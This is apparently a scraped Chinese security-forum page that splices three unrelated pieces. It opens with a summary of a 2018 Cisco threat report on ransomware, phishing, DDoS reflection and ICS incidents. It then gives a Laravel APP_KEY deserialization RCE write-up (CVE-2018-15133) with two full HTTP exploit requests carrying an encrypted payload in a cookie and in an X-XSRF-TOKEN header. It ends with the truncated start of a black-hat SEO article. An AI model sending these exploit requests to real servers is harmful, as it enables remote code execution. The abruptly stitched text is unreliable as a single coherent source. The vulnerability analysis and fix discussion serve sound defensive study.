2017年攻击面中最重要的发展就是勒索软件。
基于网络的勒索软件的出现替代了原有勒索软件活动中的人为参与。对一些攻击者来说，赎金并不重要，重要的是对一些系统和数据的破坏。2018年应该会有更多的勒索软件活动。
### 在2018年，网络攻击的守护者红队应该做好迎接新的、能够自我繁殖和传播的基于网络的威胁。
2017年，攻击者将勒索软件用到了一个新的境界。首先是利用自动化技术将人从中解放出来；其实攻击者融合了蠕虫的功能来造成大规模的破坏，让恶意软件更加有效。
恶意软件的发展非常迅速。2017年5月，WannaCry出现并迅速席卷全球。它利用了黑客组织Shadow
Broker2017年4月中旬泄露的微软Windows永恒之蓝（externalBlue）漏洞。WannaCry勒索软件赎金支付的比特币地址首次提现时金额达到了14.3万美元。对比利用工具Angler，活动期间每年获利约1亿美元。
但是WannaCry并不会记录加密的破坏以及受影响的用户支付的赎金。因此，支付后收到解密密钥的用户数量也是未知的。WannaCry作为勒索软件来说，效率是非常低的，因此美国政府和许多安全研究人员相信WannaCry的赎金知识为了隐藏其真实意图的烟雾弹，该恶意软件的真实意图就是数据擦除。
Nyetya（NotPetya）是2017年6月出现的一款数据擦除的恶意软件。Nyetya伪装成勒索软件，并使用了远程代码执行漏洞eternalBlue、远程代码执行漏洞EternalRomance和其他身份窃取单元。Nyetya是通过一个税务软件包更新系统进行部署的，超过80%的乌克兰公司使用该税务软件，安装了超过100万台设备。乌克兰网络警察确认乌克兰有超过2000家公司受到Nyetya影响。
在这波自我繁殖和传播的勒索软件出现之前，恶意软件是通过3种方式分发的：drive-by download, email,
恶意USB存储设备这样的物理媒介。这3种方法在感染设备或系统时都需要人工交互。而当自我繁殖技术被攻击者采用后，发起基于网络的勒索软件活动只需要一个工作站就足够了。
一些安全专家可能会认为蠕虫是一种比较古老的威胁方式，比如蠕虫的CVE数量持续减少。但自我繁殖的恶意软件不仅是相关的威胁，而且可以攻击整个网络。WannaCry和Nyetya只是一个尝试和先兆，所以防御者需要提前做好准备。
其实WannaCry和Nyetya是可以被预防的，至少造成的危害没有如此之大。究其原因就是企业没有应用基本的安全最佳实践，比如漏洞补丁修复、建立适当的应急响应过程和策略、应用网络隔离等。
#### 安全弱点：供应链
Nyetya攻击实际上也是一种供应链攻击。Nyetya之所以能够成功感染那么多设备的一个原因就是用户没有将自动软件升级当做一种安全风险，甚至没有意识到他们接收到了恶意更新包。
另一个供应链攻击的例子是发生在2017年9月，攻击者利用用来分发合法软件包的软件厂商下载服务器来分发CCleaner。含有木马后门的CCleaner二进制文件用有效证书来签名，让用户一个他们使用的软件是安全的的错觉。攻击活动的目标是使用该软件的大型科技公司（包括部分暗网用户）。
供应链攻击的体量和复杂性都在增加，这回影响大量的设备并对持续驻留几个月甚至几年。防护者应该意识到使用来自非可信厂商的软硬件带来的潜在安全风险。用户在下载新软件前要扫描确认该软件是否含有恶意软件。
## 加密的恶意web流量
迅速增加的加密web流量（包括合法的和非法的web流量）的体量让防护者很难识别、监控出潜在的安全威胁。加密可以增加安全，但是也提供给恶意攻击者一个隐藏C&C活动，也给了攻击者更多的时间来运作和造成伤害。
### 加密恶意web流量是防御者的盲区
思科研究人员发现到2017年10月，全球web流量超过一半是加密过的。与2016年11月相比，增加了12%。驱使这一增长的一个因素是低成本和免费的SSL证书的增长。Google
Chrome计划将所有未使用加密来处理敏感信息的网站标记为不安全。企业为了满足Google的HTTPS加密需求就必须使用加密，否则他们Google搜索的排名也能会降低很多。
随着全球加密流量体量的增长，攻击者开始将加密作为隐藏C2活动的工具。思科研究人员发现在过去的12个月里，恶意软件样本使用加密网络通信的数量增加了3倍。对超过40万的恶意软件二进制文件进行分析发现，2017年10月有超过70%的比例使用了加密。
### 使用机器学习和人工智能技术
为了克服加密流量缺乏可见性的问题，研究发现越来越多的企业开始使用机器学习和人工智能技术。这些高级技术可以增强网络的安全防御能力，随着时间的推移能够学习如何自动检测web流量中的不正常模式。
机器学习来自动检测known-known威胁上是非常有效的。而其真正的价值在于监控加密的web流量，并检测known-unknown威胁和unknown-unknown威胁。机器学习技术可以在大量的加密web流量中进行学习，识别出不正常的模式，并自动向安全团队发出告警消息。
在之前的研究（Cisco 2018 Security Capabilities Benchmark
Study）中发现，缺乏有经验的人员是企业中增强安全防御能力的一大障碍。而机器学习和人工智能这样自动化和智能化的工具可以帮助防御者克服技能和资源的差距，让其可以更有效、更好地识别和响应已知和新出现的威胁。
## 邮件威胁
无论威胁场景如何变化，恶意邮件和垃圾邮件仍然是攻击者用来分发恶意软件的重要工具，因为这可以让恶意软件直达终端。
### 垃圾邮件僵尸网络的活动震荡会影响整个体量
2016年底，研究人员发现垃圾邮件活动有明显增长而利用工具活动有明显的减少。当Angler这样的利用工具突然从市场上消失，许多这些工具的使用者会转向邮件来确保他们的利润。从图中，我们可以看出在突然增长后，2017年上半年全球垃圾邮件数量有所回落，随后持平，然后2017年5月底6月初，全球垃圾邮件数量有所下降，而8月份又有所回升。
2017年1月到4月垃圾邮件体量减少，同时监测到垃圾邮件僵尸网络活动减少，如图9。
### 垃圾邮件中的恶意文件扩展：top10
研究人员分析了2017年1月到9月的邮件记录，找出了恶意软件家族常用的恶意文件扩展类型。
通过对恶意文件扩展的分析，研究人员发现即时在当今复杂和熟练的威胁环境下，邮件仍然是恶意软件分发的重要渠道。对企业来说，防御策略的基准包括：
应用有力的和综合的邮件安全防护工具和策略；
对员工进行钓鱼邮件和垃圾邮件中的链接和恶意附件威胁的教育。
### 社会工程仍是邮件攻击的重要平台
钓鱼和鱼叉式钓鱼攻击是窃取用户凭证和其他敏感信息的重要和有效的策略。事实上，钓鱼和鱼叉式钓鱼邮件是近年来重大数据泄露事件的根本原因之一。2017年的例子有针对Gmail用户和爱尔兰能源系统的攻击事件。研究人员分析了用户提交的可能的钓鱼邮件，下图是2017年1~10月钓鱼URL和钓鱼域名的数量。从中可以看出钓鱼URL和域名的流行性。
### TLD(Top level domains)已知钓鱼网站的顶级域名分析
通过分析2017年1月到8月发现的钓鱼网站，一共有326个活跃的TLD，包括.com, .org,
.top等。使用不知名的TLD对攻击者来说是非常有利的，这些域名价格一般都比较便宜，而且隐私保护的价格也不高。
### 防御者应该注意监控老过时的威胁
2017年，每个月有上万起钓鱼攻击报告给不同国家、地区的反钓鱼威胁情报机构。从中我们发现，攻击者常用来进行钓鱼攻击的技巧和攻击有：
* Domain squatting相似域名伪造，比如cisc0.com这样的域名。
* Domain shadowing域名隐藏，隐藏在合法域名下的子域名，如badstuff.cisco.com。
* 恶意注册的域名，专门用来进行恶意行为的域名，如viqpbe.top。
* URL缩短：恶意域名用URL缩短技术进行伪造，如bitly.com/random-string.
注：bitly.com是攻击者最常用的URL缩短工具。恶意的短域名大约占了研究中发现的钓鱼站点的2%，2017年8月恶意短域名的数量达到了3.1%。
* Subdomain services子域名服务。在子域名服务器上创建的站点，形如mybadpage.000webhost.com。
攻击者在钓鱼和鱼叉式钓鱼攻击中持续改进社会工程的方法，诱使用户点击恶意链接或访问欺诈的web页面，并提供给攻击者身份凭证等高价值的信息。在应对这些威胁时，用户培训、审计、邮件安全技术的应用等都是非常重要的策略。
## 沙箱逃逸技术
### 恶意软件作者在防御者的沙箱中玩游戏
2017年9月，研究人员发现大量的恶意payload在文件关闭后分发的恶意样本。在本例中，恶意软件是被document_close事件触发的。在大多数情况下，文档在沙箱中打开和分析后是不关闭的，因此可以躲避检测。而在现实情况中，当接收者打开附件之后关闭文档，恶意payload就已经开始传播了。恶意软件使用这项技术就可以躲过沙箱检测。
Document_close事件是一个非常聪明的选择，因为它利用了office内置的宏函数，而且用户会打开那些看起来和他们相关的文档。当用户意识到该文档与他们没有关系时，就会关闭文档，此时就触发了恶意软件所隐藏的宏。
另外一种躲避沙箱检测的技术是伪装恶意payload存在的文件类型。如下图所示，2017年5月我们注意到许多嵌入Pdf文档的恶意word文件攻击类型。该文件沙箱绕过的方式可能是因为沙箱只打开和检测pdf文件，而不会打开和分析嵌入其中的word文件。Pdf文件中的内容会诱使用户点击和打开word文档，随之触发恶意行为。
思科研究人员建议用户使用含有内容检测特征的沙箱来确保恶意软件不使用上面提到的技术来绕过沙箱检测。
## 滥用云服务和其他合法的资源
随着应用、数据和身份信息都迁徙到云上，安全团队必须要管理对失去传统网络边界的风险。攻击者也在利用这个机会来进行攻击，还有一个原因就是不清楚谁应该负责保护这些边界环境，比如云环境和物联网环境。
### 恶意使用合法资源作为后门C&C
当攻击者用合法资源作C&C时，安全团队就很难检测到恶意网络流量，因为模仿了合法网络流量的行为。下图是思科与Anomali研究人员一起整理的过去几年被攻击者用作恶意后门C&C的合法服务的种类。
根据Anomali的研究，APT组织和有国家背景的黑客组织是第一波将合法服务用作C2的，目前该技术已被广泛采纳。攻击者使用合法服务用作C2的原因是，非常容易就可以：
* 注册新账户；
* 搭建公网可以访问的网页；
* 对C2协议进行加密；
* 减少对攻击者基础设施的影响；
* 减少整体费用，并改善投入产出比。
对防御者来说，攻击者使用合法服务作为C2有一些明显的挑战：
* 合法服务很难拦截。比如，企业或者组织不可能拦截Google, Twitter这样的合法网络服务。
* 合法服务通常是加密的，很难监测。SSL解密的代价非常大，企业级的SSL解密基本是不可能实现的。当恶意软件将通讯隐藏在加密流量中，那么安全团队就很难检测地到。
#### 使用合法的服务改变域名和证书情报，并使属性复杂
攻击者并不需要注册域名，因为合法服务的账号就是最初的C2地址。攻击者也不会继续为C2方案注册SSL证书或自签名的SSL证书。
### 从资源中提取最佳的价值
#### 1/5的恶意域名快速被使用
攻击者可能会在域名注册几天、几个月、几年后等待一个合适的时间去使用。研究人员发现大约只有20%的域名在注册后1周内就被使用了。
#### 许多域名是与恶意活动相关的
分析发现大约60%的恶意域名是与垃圾邮件活动相关的。大约1/5的域名是与恶意广告活动相关的。恶意广告已经成为将用户导向利用工具的必要攻击，比如分发勒索软件的利用工具。
创建恶意广告行动的域名相关的技术包括domain
shadowing。在这些技术中，攻击者窃取合法的域名账户凭证来创建导向恶意服务器的子域名。另一个技术是使用免费的、动态的DNS服务来生成恶意的域名和子域名。这样攻击者就可以从持续改变的主机IP地址分发恶意payload。
#### 域名重复使用基础设施资源
样本中的恶意RLD会重用基础设施资源，比如注册者的邮箱地址、IP地址、ASN(autonomous system numbers)、和name
server。比如，一个IP地址可以多个域名共用。所以攻击者可能会决定在IP和域名上进行投入，而不是选择服务器，因为服务器的成本更高一些。
RLD资源的复用也可以给我们一些关于恶意域名的线索。比如，注册者邮箱或IP地址的复用经常出现，这种复用的模式可能就是恶意行为。防护者非常自信能够拦截这些域名，因为这样可能不会对商业活动产生负面的影响。
### 内部威胁：利用云服务
在之前的安全报告中，我们讨论了决定谁可以进入网络，如何访问数据的OAuth权限和超级权限的价值。为了研究用户活动对安全的影响，研究人员利用机器学习算法对34个国家的15万使用云服务的用户进行了画像。该算法考虑的因素有下载文件的量、下载的时间、IP地址、位置等因素。
研究结果表明，在1个半月的时间里0.5%的用户存在可以下载行为。虽然用户数量不多，但是从公司云系统中下载了390万份文件，也就是说平均每1.5个月就有5200份文件下载。而下载的时间中，62%是在正常工作时间之外的，40%发生在周末。
研究人员对这390万份可疑文档进行了基于文本的分析，发现关键词主要是数据，而文档类型中，34%是PDF文档，31%是office文档。
## IOT和DDOS攻击
### 很少有企业把IOT僵尸网络看做即将来临的威胁，但他们应该这么考虑
随着IOT和IOT僵尸网络的扩张和发展，僵尸网络也在逐渐的成长和成熟，攻击者逐渐使用IOT僵尸网络来发起DDOS攻击。调查发现只有13%的企业认为IOT僵尸网络会成为2018年企业经营的主要威胁。
因为企业和用户对廉价IOT设备的使用越来越多，而这些廉价的IOT设备缺乏最基本的安全保护，因此IOT僵尸正在茁壮成长。因为大多数IOT设备是基于Linux和Unix系统的，因此IOT设备是ELF二进制文件的攻击目标。而且控制这样的设备要比控制PC要容易的多，也就是说攻击者很容易就可以建立一个僵尸网络。
而且IOT设备是24小时运行的，随时可以被攻击者调用。当攻击者增加了IOT僵尸网络的规模后，就会使用更复杂的代码和恶意软件来发起更高级的DDOS攻击。
#### 应用DDOS取代网络DDOS
攻击的趋势已经变成了应用层攻击逐渐增加而网络层攻击逐渐减少。Redware的研究人员认为这一趋势可能与IOT僵尸网络的发展有关。因为应用层与其他层不同，有许多不同的设备，也就是说对应用层的攻击可以使网络大部分瘫痪。而且网络层中可以利用的空间越来越小，但是应用层还是一片处女地。与PC僵尸网络相比，IOT僵尸网络并不是资源密集型的，因此攻击者可以投入更多的资源开发更高级的代码和恶意软件。
#### Burst attack突发攻击的复杂性、频率和持续时间都增加了
Radware研究人员发现2017年最明显的DDOS攻击趋势就是short-burst攻击的增多，而且short-burst攻击的复杂性、频率和持久性都增加了。调查中有42%的受访者在2017年经历了short-burst攻击。
#### 反射放大攻击增多
2017年DDOS攻击的另一个趋势是反射放大攻击。40%的受访者在2017年经历了反射放大攻击，其中1/3的企业无法应对此类攻击。
反射放大攻击中，攻击者用合法的第三方组件来发送攻击流量到攻击目标，借以隐藏攻击者的真实身份。攻击者首先将反射服务器的源IP地址设置为目标攻击用户的IP，随后将攻击包发送到反射服务器上。这会间接地用响应包淹没攻击目标，耗尽目标可利用的资源。
为了成功地发起反射放大攻击，攻击者的带宽容量要比目标的大。反射服务器要反射一台或多台第三方设备的流量。
##### DNS放大反射攻击
这种DOS攻击利用DNS的行为来放大攻击。标准的DNS请求是比DNS reply小。在DNS放大反射攻击中，攻击者故意选择DNS请求使DNS
reply的长度达到DNS请求的80倍。攻击者用僵尸网络发送DNS查询到第三方的DNS服务器，并将源IP地址设置为目标用户的IP地址。第三方的DNS服务器就就会发送响应到目标的IP地址。利用这种攻击方式，一个相对较小的僵尸网络可以将大量的响应洪泛到目标设备。
##### NTP反射
这种放大攻击利用了NTP服务器来放大攻击，用UDP流量耗尽防护者资源。NTP是用来在计算机系统和包分发系统中进行时钟同步的网络协议。目前桌面系统、服务器、甚至手机设备都运用该协议进行时钟同步。许多老版本的NTP服务器有一个monlist命令，可以发送给查询者一个连接到查询服务器的最多600个主机的列表。攻击者可以重复地发送get
monilist请求到随机的NTP服务器，并将请求服务器的源IP地址设备为目标服务器。NTP服务器响应会被指向目标服务器，引发源端口123的UDP流量激增。
##### SSDP反射
SSDP反射攻击利用SSDP（simple service discovery
protocol）协议，SSDP协议是UPnP设备用来广播自身存在的协议。该协议还可以用来发现和控制网络设备和服务，比如摄像头、网络打印机和其他类型的电子设备。
当UPnP设备连接到网络并获得IP地址后，设备就可以通过发送多播IP消息来向网络中的其他计算机广播它的服务。当计算机获得该设备的发现消息，就会请求该设备服务的详细描述。该UPnP设备直接向计算机响应该设备提供服务的完整列表。
在NTP和DNS放大DDOS攻击中，攻击者都可以用一个小的僵尸网络来查询最后的请求。而攻击者可以将源IP地址设定为目标用户的IP地址，让响应消息直接到达攻击目标。
### 防护者必须修复泄露路径leak path
思科研究人员对leak
path做了如下定义，企业网络和互联网之间创建的策略、分段违反、未授权或者错误配置的连接，这些连接允许流量被转发到网络上的其他位置，比如恶意站点。这些意外的连接也可能在内部的两个隔离的分段网络中出现。Leak
path也可能来源于不合理配置的路由器和交换机。
没有正确设定设备的权限的设备或没有管理的设备都易受到攻击。与影子IT相关的设备和网络都易建立leak
path，因为这种设备一般都是无人管理或没有人负责维护补丁的。Lumeta的研究预测大约有40%的动态网络、终端和云基础设施是明显的基础设备盲点（缺乏检测和监测），缺乏安全团队的实时监测。
检测已存在的leak path是非常重要的，因为这些leak path可以随时被利用。新创建的leak
path在实时检测上也是很重要的，因为这些是即时的IOC而且与最高级的攻击相关联。
Lumeta的研究人员发现leak
path的数量在不断增长，尤其是在云环境中，因为云环境中的网络可见性和可控性都降低了。许多恶意攻击者在发现或创建了leak
path后是不会马上使用的。他们会用这些leak path来安装恶意软件、安全勒索软件、窃取信息等。一些攻击者还会使用加密、混淆等技术啊来避免被检测到。
### 工业控制系统漏洞使重要基础设施处于风险之中
工业控制系统是制造业和过程控制系统的心脏。ICS连接到其他电子控制系统的一部分创建了一个高度互联的生态系统，而其中许多的设备都是有漏洞的，这也正是攻击者的最爱。想要攻击ICS的威胁单元最喜欢创建后门中心点用于之后的攻击。
#### 攻击目标：大型国际水处理和废水处理公司
攻击者利用该公司的DMZ服务器作为中转点来黑进内部网络中。安全运维团队收到了来自网络DMZ中嵌入的欺骗安全技术的告警。这种物理或者逻辑上的子网桥接了不可信网络与内部网络。调查发现：
* DMZ服务器因为一个允许RDP连接的错误配置导致被攻破。
* 服务器被多个IP地址攻破和控制，连接指向了与该厂敌对的政治活动黑客。
* 攻击者能够从被攻破的内部网络发起针对该公司的多个工厂的攻击。
#### 攻击目标：电厂
电厂的重要资产包括大量的ICS基础设施和必要的SCADA组件来管理和运行相应的过程。工厂是重要的国家基础设施，并受到国家安全机关的监管。因此，可被看做是高度安全的。
安全运维团队在收到系统被入侵的告警信息后，马上进行了调查，调查结果显示：
* 过程控制网络中的设备尝试与蜜罐中的伪装为PLM控制器的设备进行通信。这是尝试对网络中的每个PLM控制器进行了解和映射的行为。
* 被黑的设备正常情况下应该关闭，但是进行维护的厂商在维护结束后没有关闭连接。巡视让过程控制网络暴漏在攻击者面前。
* 攻击者收集的信息正是破坏工厂活动和对运行的工厂造成巨大破坏所需要的。
#### 建议
许多的ICS入侵事件都是从企业IT网络中有漏洞的服务器和计算资源被黑开始的。TrapX的研究人员建议遵循下面的流程来减少风险，并确保操作的完整性。
* 检查尝试和系统是否及时更新所有的补丁。
* 减少UBS和DVD设备的使用。
* 隔离ICS系统和IT网络，禁止两者之间任意形式的直连。
* 严格限制ICS网络除必要操作之外的使用。
* 清楚生产网络中的所有记住密码和默认密码，尽量使用双因子认证。
* 建立重大网络攻击后的灾备方案。
## 漏洞和补丁
### 2017年主流的漏洞包括缓冲区溢出和Apache struts
2017年，虽然缓冲区溢出错误漏洞有所减少，但仍是CWE漏洞中最多的，输入有效性漏洞也增加了。
### IOT和库的漏洞增加
2016年10月到2017年9月间，研究人员在非思科的产品中一共发现224种新漏洞，其中40个是与第三方软件库有关的，74个与IOT设备相关。
大量第三方库的漏洞说明我们需要深入研究第三方解决方案中的安全问题。防护者也应该假设第三方软件库可以被攻击者利用；确保运行的软件是最新版本或者没有发现CVE漏洞是不够的。安全团队应该经常检查补丁更新情况，并检查第三方厂商的安全实践情况。团队可以要求厂商提供安全开发流程描述。
#### IOT设备的补丁更新很慢，甚至没有补丁
Qualys研究了IOT设备的补丁更新趋势，研究的设备包括智能门锁、火警报警器面板、读卡器和网络HVAC系统。研究人员一共检测了7328台设备，只有1206个设备修复了漏洞，也就是说还有83%的设备存在重要漏洞。虽然这些威胁单元没有攻击这些漏洞，但是企业就处于潜在的攻击之中了。
### 最常见的漏洞是严重性低但是高风险的
企业经常会将低危漏洞置之不理多年，因为企业甚至不知道这些漏洞的存在或不把这些认为是重要的危险。因此，这些低危但是高风险的漏洞提供给攻击者入侵系统的路。
#### TCP时间戳请求开启
TCP时间戳提供了设备运行时间的信息，攻击者可以从中了解到那种类型的漏洞可能存在。软件程序也可能会利用系统时间错来生成随机数生成器来创建加密密钥。
#### TCP重设
远程攻击者可以通过重复注入TCP RST包来猜测序列号，并发起针对永久TCP连接的DOS攻击，尤其是BGP这种使用long-lived连接的协议。
#### BEAST攻击
攻击者可以利用Browser exploit against SSL/TLS(BEAST)漏洞来发起MIMT攻击，读取不同部分之间交换的受保护的内容。
上面提到的低危漏洞也不容易修复，因为许多漏洞是因为配置错误或安全证书问题。企业修复低危漏洞可以预防风险，而且应该基于如何发现该漏洞去找出修复的优先级，而不是根据第三方的评级。
# Part 2 防护者
## 攻击的代价
害怕系统被入侵的恐惧来源于攻击背后的经济损失，而这不是一个假设的数字。系统入侵会对企业带来直接的经济损失，带来的损失和破坏可能需要几个月甚至几年去恢复。
## 挑战和障碍
安全团队在保护企业时，会面临很多的障碍。企业必须保护一些领域和功能，这就增加了安全的挑战。其中，最具挑战的领域和功能保护手机设备、共有云数据、用户行为等。
安全专家的预算、可操作性和人员是管理安全的主要限制。缺乏有经验的人员也是采用先进安全过程和技术的挑战。2017年的数据统计中，27%认为缺乏人才是障碍之一，而2016和2015年的数据分别是25%和22%。
## 厂商带来的复杂性
因为防护者应用了不同的安全产品，这些产品来自不同的厂商。这种产品带来的复杂性对企业预防攻击的能力有一定的影响。2017年，有25%的安全专家说他们使用了11到20种厂商的产品，而2016年的数据是18%；有16%企业使用了21~50个厂商的产品，2016年的数据为7%。
随着厂商数量的增多，也带来了一些挑战。54%的安全专家说处理这些产品的告警消息有时候是很有困难的，有20%的专家说非常有挑战性。
因为告警消息太多，导致没有精力调查所有的告警消息，一些真实的告警消息就被错过了。根据统计的数据，每天平均有44%的告警消息得不到调查；而经过调查的告警消息中，只有34%是真实的；这些真实的告警消息中，只有51%的被修复了，也就是有49%的真实告警没有被修复。一个重要原因就是缺乏有经验的人员来调查这些告警消息。
## 影响：入侵事件的公共监督
即使企业努力为满足未来安全挑战做了很多的准备，安全专家预测企业还是会成为需要公众监督的入侵事件的受害者。55%的受访者说在过去一年里，他们所在的企业必须处理入侵带来的公共监督。
在负责的安全环境中，企业好像能更好地处理入侵事件。使用1到5个厂商安全产品的企业中，有28%说他们必须在入侵事件后处理公共监督事件；在使用超过50种安全产品的企业中，这个数字上升到80%。
### 集成框架的价值
当使用的安全产品变多以后，如何处理管理复杂的安全环境呢？best of
breed方法就是安全团队对每种安全需求选择最佳的安全方案，安全专家也认为这是最佳性价比的。
与集成安全方案相比，72%的安全专家选择best of breed的安全方案。在使用best of
breed方案的企业中，57%认为追求性价比是主要原因。采用集成方案的企业中56%认为集成方案的性价比更高，47%认为容易实施。
## 服务：解决人、策略和技术的问题
面临潜在的损失和对系统的恶意影响，企业单单依赖技术来防御已经不行了。也就是说需要寻找其他的机会来改善安全，比如用策略和培训用户。如果企业单独使用技术来修复安全漏洞，在模拟攻击者只能解决26%的安全问题。如果企业单独使用策略来解决安全问题，只能解决10%的安全问题；利用培训只能解决4%的安全问题。
## 期望：投资技术和培训
安全专家认为，企业面临的安全威胁仍然是复杂和富有挑战的。攻击者会开发更加复杂和更具破坏性的方式来入侵网络。随着威胁的增加，许多安全专家认为他们会处于更多的监督之下，包括政府监管、股东、管理层、合作伙伴和客户。为了减少风险和损失的可能性，防护者必须决定将有限的资源投资到哪些地方。安全专家说安全预算仍然很紧张，除非有大的安全事件使管理层重新考虑安全问题。
大多数的安全团队负责人说所在公司的安全预算是根据上一年的预算决定的，而且话费的比例适当。在规划预算时，企业一般会从综合安全方案的愿望清单中选择。当预算下达时，会根据新漏洞的出现、系统入侵事件、第三方的风险评估报告等改变具体的支出。影响未来预算的主要因素是入侵事件。。。
# 结论
在当今的威胁场景中，攻击者在攻击中熟练地避免被检测到。攻击者使用更加高效的工具和聪明的技术来隐藏恶意活动并逐渐破坏传统的安全技术。并不断更新使用的技术来使恶意软件保持新鲜和有效。
防护者可以看到的一个明显数据就是陡增的潜在恶意流量，同时增加的还有整体的恶意软件的量。恶意软件量的变化趋势对防护者的TTD（time to
detection）有一定的影响。TTD是企业理解在来自恶意软件的持续攻击的压力下安全防护措施执行情况的重要度量。基于云的安全技术的使用是使思科TTD中位数在较低水平的关键因素。云可以在整体安全事件和攻击终端的恶意软件持续增长的情况下，帮助度量和维持性能。 | 社区文章 |
本文将记录在 **APP_KEY** 泄露情况下的 **Laravel RCE** 漏洞。该漏洞可以分别在两个地方触发，一个是直接添加在
**cookie** 字段，例如： **Cookie: ATTACK=payload** ；另一处是在 **HTTP Header** 处添加
**X-XSRF-TOKEN** 字段，例如： **X-XSRF-TOKEN: payload**
。漏洞影响版本：5.5.x<=5.5.40、5.6.x<=5.6.29。
## 环境搭建
这里我的测试环境为 **Debian9+apache+PHP7.2+Laravel5.6.29** 。
➜ html composer create-project laravel/laravel laravel5629 --prefer-dist "5.6.0"
➜ html cd laravel5629
➜ laravel5629 sed -i -e 's/5.6.\*/5.6.29/g' composer.json
➜ laravel5629 composer update
➜ laravel5629 ./artisan key:generate
➜ laravel5629 echo "Route::post('/', function() {return view('welcome');});" >> ./routes/web.php
➜ laravel5629 ./artisan serve --host=0.0.0.0
## 漏洞分析
当接收到 **POST** 数据时，程序在获取 **Illuminate\Http\Response** 类对象时，会依次调用如下 **10个类** 的
**handle** 方法。
App\Http\Middleware\TrustProxies
App\Http\Middleware\CheckForMaintenanceMode
Illuminate\Foundation\Http\Middleware\ValidatePostSize
App\Http\Middleware\TrimStrings
Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull
App\Http\Middleware\EncryptCookies
Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse
Illuminate\Session\Middleware\StartSession
Illuminate\View\Middleware\ShareErrorsFromSession
App\Http\Middleware\VerifyCsrfToken
而在 **App\Http\Middleware\EncryptCookies** 和
**App\Http\Middleware\VerifyCsrfToken** 两个类的 **handle**
方法中，存在对请求值的合法性校验，并对通过校验的值进行反序列化操作。攻击者可以利用网站泄露的 **APP_KEY** ，结合公开的 **Laravel**
反序列化 **POP** 链进行 **RCE** 。下面，我们来分别看下这两个类的具体代码。
### 通过Cookie触发RCE
通过 **Cookie** 触发 **RCE** 的 **EXP** 如下（这里payload中执行的命令是 `curl 127.0.0.1:8888`
）：
POST / HTTP/1.1
Host: 0.0.0.0:8000
Cookie: XDEBUG_SESSION=PHPSTORM; ATTACK=eyJpdiI6ImRhSTdpRkhWTFowVHNtNDMyZW5wWlE9PSIsInZhbHVlIjoiRHRRRXpRNUhkeG8rQ0s0a21qRmpzUHNkZ0lBaFpsVjlvYk1uZmtwOVpRVFZsdmNKSUhMQnJ0UlBWeHhrbElZb0ZaRnRmMjFlbTNSNXRXZGxCeEF2clNvbk5HT2FDZEEwSGVKU2VuUkFSeVhXTUEwVzFUYlRlc2RsWk1scEg3eWRUKzljRHBWQmEzMERRR0gydG4zYURzWEFcL2djUmFDVGJ5M2NMREVvMDhmeEE0dm5FTVJcL3UwZHBsUjhxajBHbFVBaHVRTWRzN3QwNU9XdWdISWZPaklkXC80alpKQjZEMlJTQjdVXC8wZ3BoNXVXWVFRK1NUSVM5OVhkSXRuSXpHZWRMcUJnR0RwVjlLeDNPUHMyNFpMbWJRPT0iLCJtYWMiOiIxM2M3YThiNmI4MWNkZmI1YjNhMGEzZDRjMDdkYTJiY2MyNzZhOWZkYzUwM2NiOTg1MGRiMTk0ZGU1MjhhOWE1In0=;
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0
**Laravel** 框架在获取 **Illuminate\Http\Response** 类对象时，会循环对 **Cookie**
的值进行解密以验证其合法性。在解密的时候会用到 **APP_KEY**
，如果解密顺利，就会将解密后的值进行反序列化（如下图149行代码）。我们可以看到下图的调试信息中， **$decrypted**
变量已经反序列化成攻击者精心构造的类对象了。继续执行下去，就会触发 **RCE** 。
### 通过HTTP Header触发RCE
通过 **HTTP Header** 触发 **RCE** 的 **EXP** 如下（这里payload中执行的命令是 `curl
127.0.0.1:8888` ）：
POST / HTTP/1.1
Host: 0.0.0.0:8000
Cookie: XDEBUG_SESSION=PHPSTORM;
X-XSRF-TOKEN: eyJpdiI6ImRhSTdpRkhWTFowVHNtNDMyZW5wWlE9PSIsInZhbHVlIjoiRHRRRXpRNUhkeG8rQ0s0a21qRmpzUHNkZ0lBaFpsVjlvYk1uZmtwOVpRVFZsdmNKSUhMQnJ0UlBWeHhrbElZb0ZaRnRmMjFlbTNSNXRXZGxCeEF2clNvbk5HT2FDZEEwSGVKU2VuUkFSeVhXTUEwVzFUYlRlc2RsWk1scEg3eWRUKzljRHBWQmEzMERRR0gydG4zYURzWEFcL2djUmFDVGJ5M2NMREVvMDhmeEE0dm5FTVJcL3UwZHBsUjhxajBHbFVBaHVRTWRzN3QwNU9XdWdISWZPaklkXC80alpKQjZEMlJTQjdVXC8wZ3BoNXVXWVFRK1NUSVM5OVhkSXRuSXpHZWRMcUJnR0RwVjlLeDNPUHMyNFpMbWJRPT0iLCJtYWMiOiIxM2M3YThiNmI4MWNkZmI1YjNhMGEzZDRjMDdkYTJiY2MyNzZhOWZkYzUwM2NiOTg1MGRiMTk0ZGU1MjhhOWE1In0=;
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0
**Laravel** 框架在获取 **Illuminate\Http\Response** 类对象时，还会获取 **CSRF token**
。如果没有获取到 **CSRF token** ，就会转而获取 **X-XSRF-TOKEN**
，并在校验通过后对其进行反序列化操作。其校验使用的解密代码和上面一致，都是通过 **Illuminate\Encryption\Encrypter** 类的
**decrypt** 方法完成的，这里就不在赘述。
## EXP构造
现在我们看看如何构造 **EXP** ，其实加密函数也在 **Illuminate\Encryption\Encrypter** 类中，其具体代码在
**encrypt** 方法中。
我们只需要将其直接拿出来，稍加修改即可利用， **EXP** 脚本如下：
已删除
## 修复
最后，我们再来看一下官方的修复代码。如下图所示，在 **Laravel5.6.30** 的代码中，对于 **Cookie** 的解析，多传了一个
**static::serialized()** 值来禁止反序列化操作。同样，对于 **X-XSRF-TOKEN**
头的解析也是同样的处理，这里就不再贴代码了。
## 参考
[CVE-2018-15133](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15133)
[Laravel5.6.30升级公告](https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30)
[Laravel Remote Code Execution when APP_KEY is leaked PoC
(CVE-2018-15133)](https://github.com/kozmic/laravel-poc-CVE-2018-15133) | 社区文章 |
此系统文章总共分为四篇，分别是手法篇、工具篇、隐藏篇、总结篇；本篇为总结篇，主要介绍黑帽seo行为的检测以及预防。可以说此系列前面三篇文章，是为最后一篇做的铺垫，毕竟作为安全工程师我们真正需要做的，是帮助客户去防御攻击，抵御黑产。
### 如何检测自身网站是否被劫持？
